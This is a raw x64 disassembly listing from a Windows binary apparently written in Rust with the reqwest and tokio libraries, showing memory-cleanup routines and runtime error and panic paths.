mov r8, qword [rbp + 0x5b8]
add r8, 0x10
cmp qword [rbp + 0x5e8], 0
lea rsi, [0x14018d8e8]
lea rcx, [rbp + 0x5b8]
mov rdx, r12
je 0x14011b374
call fcn.1400fc530
jmp 0x14011b379
call fcn.1400fbff0
mov r12, rax
mov rax, qword [rbp + 0x5b8]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x14011a1bb
jmp 0x14011b0f0
cmp qword [rbp + 0x5c0], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x5a8]
mov qword [rax + 0x110], rcx
jne 0x14011bb8a
xor ebx, ebx
mov qword [rbp + 0x5c0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x5c8]
test rcx, rcx
je 0x14011b42b
call fcn.140111610
mov rax, qword [rbp + 0x5c0]
inc rax
jmp 0x14011b42d
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x5a8]
mov qword [rax + 0x110], rcx
mov bl, 1
mov qword [rbp + 0x5c0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x5c8]
test rcx, rcx
jne 0x14011b3e0
xor eax, eax
mov qword [rbp + 0x5c8], r12
mov qword [rbp + 0x5c0], rax
lea rcx, [rbp + 0x5b0]
call fcn.1400fb940
test byte [rbp + 0x5b0], 1
je 0x14011b4f6
mov rax, qword [rbp + 0x5b8]
lock dec qword [rax]
jne 0x14011b46d
lea rcx, [rbp + 0x5b8]
call fcn.14010d290
mov rsi, qword [rbp + 0x5c8]
test rsi, rsi
je 0x14011b520
mov rcx, qword [rsi]
test rcx, rcx
je 0x14011b4ac
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14011bba2
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14011b4ac
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.140118290
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x14011b4ca
mov rcx, rdi
call fcn.14010cdb0
mov rax, qword [rsi + 8]
test rax, rax
je 0x14011b4e2
lock dec qword [rax]
jne 0x14011b4e2
lea rcx, [rsi + 8]
call fcn.14010ce00
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14011b520
mov rax, qword [rbp + 0x5b8]
lock dec qword [rax]
jne 0x14011b50f
lea rcx, [rbp + 0x5b8]
call fcn.14002d650
mov rcx, qword [rbp + 0x5c8]
test rcx, rcx
je 0x14011b520
call fcn.140111610
mov rsi, qword [rbp + 0x5e8]
test rsi, rsi
je 0x14011b553
mov rdi, qword [rbp + 0x5e0]
add rdi, 8
nop word [rax + rax]
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + 0x18]
add rdi, 0x10
dec rsi
jne 0x14011b540
cmp qword [rbp + 0x5d8], 0
je 0x14011b573
mov r8, qword [rbp + 0x5e0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
je 0x14011bb49
movsd xmm6, qword [rbp + 0x4d8]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14011b5ce
cmp eax, 1
je 0x14011b5fb
lea rax, [0x14018dc10]
mov qword [rsp + 0x20], rax
lea rcx, [0x14018db7b]
lea r9, [0x14018dc28]
lea r8, [rbp - 0x40]
mov edx, 0x46
call fcn.140121e20
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x1400ef550]
call fcn.1400dc390
mov byte [rsi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x126], 2
je 0x14011ba94
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x126], 2
cmp dword [rax + 0x118], 0
jne 0x14011b643
call fcn.1400f41d0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x118], 1
movlps qword [rax + 0x11c], xmm6
lea rcx, [rbp + 0x4c0]
call fcn.1400fd350
mov rax, qword [rbp + 0x4c0]
cmp rax, 2
je 0x14011b6b9
test rax, rax
je 0x14011b6a0
mov rax, qword [rbp + 0x4c8]
lock dec qword [rax]
jne 0x14011b6b9
lea rcx, [rbp + 0x4c8]
call fcn.14010cb70
jmp 0x14011b6b9
mov rax, qword [rbp + 0x4c8]
lock dec qword [rax]
jne 0x14011b6b9
lea rcx, [rbp + 0x4c8]
call fcn.14002d650
movaps xmm6, xmmword [rbp + 0x610]
add rsp, 0x6a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
ud2
mov qword [rbp + 0x328], r12
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x140159078]
lea r8, [rbp + 0x328]
mov edx, 0xd
call fcn.140121e20
mov ecx, 8
mov edx, 0x70
call fcn.1401216c0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14018dc28]
lea r8, [rbp - 0x40]
mov edx, 0x2b
call fcn.140121e20
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.140121f40
mov ecx, 1
mov edx, 1
call fcn.1401216c0
mov qword [rbp + 0x540], rdi
lea rax, [rbp - 0x40]
mov qword [rbp + 0x328], rax
lea rax, [0x1401183d0]
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], r13
mov qword [rbp + 0x340], rax
lea rax, [rbp + 0x540]
mov qword [rbp + 0x348], rax
lea rax, [fcn.1400e1f10]
mov qword [rbp + 0x350], rax
lea rax, str.failed_to_set_environment_variable____to___:
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], 3
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x1f0], rbx
mov qword [rbp + 0x1f8], 3
lea rdx, str._rustc_636d7ff91b9847d6d43c7bbe023568828f6e3246library_std_srcenv.rs
lea rcx, [rbp + 0x1e0]
call fcn.140121ad0
lea rcx, [0x1401681b8]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.140121f40
lea rcx, [0x14018d960]
call fcn.140122170
imul eax, ecx, 0x64
mov qword [rbp + 0x328], rdx
mov dword [rbp + 0x330], eax
lea rax, [0x14018d920]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14018d6e8]
lea r8, [rbp + 0x328]
mov edx, 0x2b
call fcn.140121e20
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x1e0], r13
lea rax, [fcn.140008da0]
mov qword [rbp + 0x1e8], rax
lea rax, [0x140167698]
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x348], 0
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x340], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rbp + 0x328]
call fcn.140121ad0
lea rcx, [0x14018d8c8]
call fcn.140122170
lea rcx, str.core_missing
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140121f40
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140121d60
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140121d60
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x14018dc28]
lea r8, [rbp - 0x40]
mov edx, 0x1b
call fcn.140121e20
mov qword [rbp + 0x540], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x328], rax
lea rax, [0x1401183d0]
mov qword [rbp + 0x330], rax
mov rdx, rcx
lea rcx, [rbp + 0x80]
mov qword [rbp + 0x338], rcx
mov qword [rbp + 0x340], rax
lea rax, [rbp + 0x540]
mov qword [rbp + 0x348], rax
lea rax, [fcn.1400e1f10]
mov qword [rbp + 0x350], rax
lea rax, str.failed_to_set_environment_variable____to___:
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], 3
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x1f0], rdx
mov qword [rbp + 0x1f8], 3
lea rdx, str._rustc_636d7ff91b9847d6d43c7bbe023568828f6e3246library_std_srcenv.rs
lea rcx, [rbp + 0x1e0]
call fcn.140121ad0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
lea rdx, [0x14012f0c8]
lea rcx, [rbp + 0x328]
call fcn.140121ad0
lea rcx, [0x140166b60]
call fcn.140121d60
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
lea rdx, [0x140166b48]
lea rcx, [rbp + 0x328]
call fcn.140121ad0
lea rax, str.not_a_CurrentThread_handle
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rbp + 0x328]
call fcn.140121ad0
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
lea r8, [0x1401678a8]
mov edx, 0x2e
call fcn.140121b80
imul eax, ecx, 0x64
mov qword [rbp + 0x328], rdx
mov dword [rbp + 0x330], eax
lea rax, [0x14018d920]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14018c530]
lea r8, [rbp + 0x328]
mov edx, 0x2b
call fcn.140121e20
lea rax, str.expected__CurrentThread::Context_
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
movups xmmword [rbp + 0x340], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x328]
call fcn.140121ad0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140121d60
lea rcx, str.core_missing
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140121f40
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 1
mov qword [rbp + 0x338], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x328]
call fcn.140121ad0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140121d60
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.140121dc0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x140165d90]
mov edx, 0x27
call fcn.140121b80
mov dword [rbp + 0x80], 0
mov byte [rbp + 0x84], 0
lea rax, str.fatal_runtime_error:_the_global_allocator_may_not_use_TLS_with_destructors_n
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 1
lea rax, [rbp - 0x40]
mov qword [rbp + 0x338], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0x328]
call fcn.1400dab30
mov qword [rbp + 0x1e0], rax
lea rcx, [rbp + 0x1e0]
call fcn.1400dacc0
mov ecx, 7
int 0x29
ud2